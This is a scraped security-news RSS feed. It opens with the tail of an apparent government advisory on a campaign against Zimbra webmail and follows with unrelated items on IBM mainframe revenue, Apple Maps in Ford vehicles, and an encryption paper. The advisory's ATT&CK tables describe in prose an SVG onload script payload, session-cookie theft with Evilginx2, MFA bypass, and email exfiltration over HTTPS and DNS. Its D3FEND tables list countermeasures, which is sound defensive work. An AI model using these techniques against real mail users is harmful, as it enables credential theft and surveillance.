<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
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<title><![CDATA[Despite tough quarter, IBM says mainframe will continue to put the Big in Big Blue]]></title>
<description><![CDATA[Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.



After warning of an earnings shortfall, IBM...]]></description>
<link>https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689349/it-security-nachrichten/despite-tough-quarter-ibm-says-mainframe-will-continue-to-put-the-big-in-big-blue/</guid>
<pubDate>Thu, 23 Jul 2026 16:27:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Revenue from IBM’s z mainframe portfolio declined 42% in the quarter ended June 30, dragging infrastructure revenue down 7% compared to the year-ago quarter. But Big Blue executives remain positive on the mainframe’s role as an important AI platform.</p>



<p class="wp-block-paragraph">After warning of an earnings shortfall, IBM lowered its full-year forecast. It now expects 2026 revenue to grow between 4% and 5%, rather than its previous forecast of more than 5% growth. Some parts of its business did well: <a href="https://78449.themediaframe.com/incomm/ibm/ibm260722pressrelease.pdf">Software revenue grew 5% in the second quarter</a> to $7.76 billion, fueled by 11% growth in hybrid cloud, 18% growth in data, and 3% growth in automation.</p>



<p class="wp-block-paragraph">On the infrastructure side, IBM posted second-quarter revenue of $3.8 billion, which is down 7%. Within that business, distributed infrastructure grew 37%, but those gains were offset by a 10% decline in hybrid infrastructure and IBM Z’s 42% drop.</p>



<p class="wp-block-paragraph">In a <a href="https://newsroom.ibm.com/2026-07-14-Arvind-Krishnas-Letter-to-IBM-Investors">July 14 letter</a> to investors released prior to IBM’s July 22 earnings call, CEO Arvind Krishna warned of the earnings shortfall and laid out current challenges. He related the infrastructure performance shortfall to “wrapping on the launch of z17 in the second quarter” and stated: “Given this was the strongest start to a mainframe program in our history, we expected Infrastructure revenue to decline low-single digits for the year, beginning this quarter. What played out was worse than our expectations, driven by a shortfall in our Z performance and the associated software stack, primarily in Transaction Processing.”</p>



<p class="wp-block-paragraph">In the last few weeks of June, customers shifted capex spending and started purchasing more AI infrastructure components in the form of servers, storage, and memory “to secure supply-constrained infrastructure ahead of expected price increases,” Krishna stated. “This dynamic impacted client buying patterns. While we anticipated some supply chain related impact in our expectations, we did not anticipate the magnitude of the capex reprioritization.”</p>



<p class="wp-block-paragraph">Yet despite challenges this last quarter, z17 remains at nearly 130% growth program-to-program, according to IBM. That’s “well ahead of z16, which was our strongest program on record, with clients representing 85% of installed MIPs maintaining or growing capacity,” the July 14 letter stated.</p>



<p class="wp-block-paragraph">Mainframe infrastructure momentum is expected to continue, and IBM is anticipating strong workload growth and <a href="https://www.networkworld.com/article/3845376/ibm-laying-foundation-for-mainframe-as-ultimate-ai-server.html">AI-driven capacity</a> expansion as clients modernize mission-critical systems and emphasize resiliency and security, Krishna said during the company’s Q2 2026 earnings call on July 22.</p>



<p class="wp-block-paragraph">“AI is driving incremental capacity growth and new workloads as clients look to run AI closer to their most sensitive data,” IBM senior vice president and CFO James Kavanaugh said in the call. “We are seeing strong early adoption of our AI innovations with nearly 50% of <a href="https://www.networkworld.com/article/4193914/ibm-grows-mainframe-family-with-rack-frame-models-targeting-ai-hybrid-clouds.html">z17 customers</a> investing in AI capabilities with Spyre AI accelerator, and clients deploying Watson X Code Assistant for Z are growing MIPS capacity three times faster than those who are not.”</p>



<p class="wp-block-paragraph">“In a world where infrastructure costs are rising and efficiency matters more than ever, IBM Z offers a compelling economic advantage,” Kavanaugh continued. “Depending on the size and complexity of workloads, clients can realize a 2 to 15x total cost of ownership benefit versus moving these workloads off the platform, reinforcing why the platform remains central to their operations and positioning us to capture additional value as AI workloads grow.”</p>



<p class="wp-block-paragraph">“We see no evidence of clients moving off mainframe,” Kavanaugh added. “Clients continue to invest in IBM Z to modernize mission-critical workloads with a focus on resiliency and security.”</p>



<p class="wp-block-paragraph">In responding to an analyst question, Kavanaugh said three key things drive mainframe demand and purchasing requirements:</p>



<p class="wp-block-paragraph">“One is capacity workload. It’s the most important determinant. 85% Of the installed MIPS capacity out there in the marketplace today running all those core mission critical workloads are either stable or growing. Clients are adding capacity and workload to mainframe, the viability. And by the way, that’s coming in new AI workloads, analytics workloads, Linux-based workloads, and those MIPS are growing program to date over 15 to 20% installed capacity,” Kavanaugh said.</p>



<p class="wp-block-paragraph">Number 2 is economic factors. “We don’t talk a lot about this, but I think it’s important for our investors to understand things like total cost of ownership. Depending on the size and complexity of the workload, we have anywhere from a 2 to a 15x TCO advantage running on the mainframe [over smaller server systems]. Again, we do not see any evidence of clients migrating off mainframe and lease propensity, which is a great indicator,” Kavanaugh said.</p>



<p class="wp-block-paragraph">The third driver is AI. “When you look at it, applications, data security, all on the platform, we do 450 billion inferences per day at 1 millisecond with 8 nines availability,” Kavanaugh said. “We’ve got clients that have already purchased over 50% of our Spire inferencing, and those clients that have purchased that are growing MIPS capacity, the way [we monetize value], by over three times faster than others.”</p>
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<title><![CDATA[Apple Maps will be at the core of Ford's electric vehicles in 2027]]></title>
<description><![CDATA[Apple and Ford have announced a new partnership that will see cars built on the latter's Universal Electric Vehicle platform use Apple Maps for advanced routing and future self-driving features.Apple Maps will be key to Ford's future EV plans. Credit: AppleThe partnership will see Maps become a k...]]></description>
<link>https://tsecurity.de/de/3689231/ios-mac-os/apple-maps-will-be-at-the-core-of-fords-electric-vehicles-in-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689231/ios-mac-os/apple-maps-will-be-at-the-core-of-fords-electric-vehicles-in-2027/</guid>
<pubDate>Thu, 23 Jul 2026 15:41:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple and Ford have announced a new partnership that will see cars built on the latter's Universal Electric Vehicle platform use <a href="https://appleinsider.com/inside/apple-maps" title="Apple Maps" data-kpt="1">Apple Maps</a> for advanced routing and future self-driving features.<br><br><div><img src="https://photos5.appleinsider.com/gallery/64001-133198-Phone-Call-in-CarPlay-xl.jpg" alt="Car dashboard showing a navigation screen with upcoming right turn, current time, weather, and call interface displaying contact Tito Santos." height="738"><br><span>Apple Maps will be key to Ford's future EV plans. Credit: Apple</span></div><br>The partnership will see Maps become a key component of the Universal Electric Vehicle (UEV) platform when it launches in 2027. Apple <a href="https://www.apple.com/newsroom/2026/07/apple-maps-to-power-navigation-experience-for-ford-uev-platform/?1784811622">announced</a> that its technology will go beyond simple routing and will instead be used to power Ford's next-generation BlueCruise hands-free driving feature.<br><br>"Apple Maps delivers the best map experience in the world, and we're excited to bring the power of Maps' navigation technology to Ford's innovative Universal Electric Vehicle Platform," said Eddy Cue, Apple's senior vice president of Services and Health. "With our new MapKit for Automotive SDK, we're bringing Maps further into drivers' daily lives, giving them an incredibly accurate and easy-to-use navigation system that is seamlessly integrated into Ford vehicles."<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/apple-maps-will-be-at-the-core-of-fords-electric-vehicles-in-2027?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245035?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[End-to-End Encryption and “Going Dark”]]></title>
<description><![CDATA[New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“: Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of…
Read more →
The post End-to-En...]]></description>
<link>https://tsecurity.de/de/3688892/it-security-nachrichten/end-to-end-encryption-and-going-dark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688892/it-security-nachrichten/end-to-end-encryption-and-going-dark/</guid>
<pubDate>Thu, 23 Jul 2026 13:44:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“: Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/end-to-end-encryption-and-going-dark/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/end-to-end-encryption-and-going-dark/">End-to-End Encryption and “Going Dark”</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[End-to-End Encryption and “Going Dark”]]></title>
<description><![CDATA[New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“:
Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the curr...]]></description>
<link>https://tsecurity.de/de/3688832/it-security-nachrichten/end-to-end-encryption-and-going-dark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688832/it-security-nachrichten/end-to-end-encryption-and-going-dark/</guid>
<pubDate>Thu, 23 Jul 2026 13:15:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New paper: “<a href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=6959699">Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate</a>“:</p>
<blockquote><p><b>Abstract</b>: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the current controversies over end-to-end encryption (E2EE). Governments around the world have proposed, and in some cases enacted, laws limiting E2EE for law enforcement and national security purposes.</p>
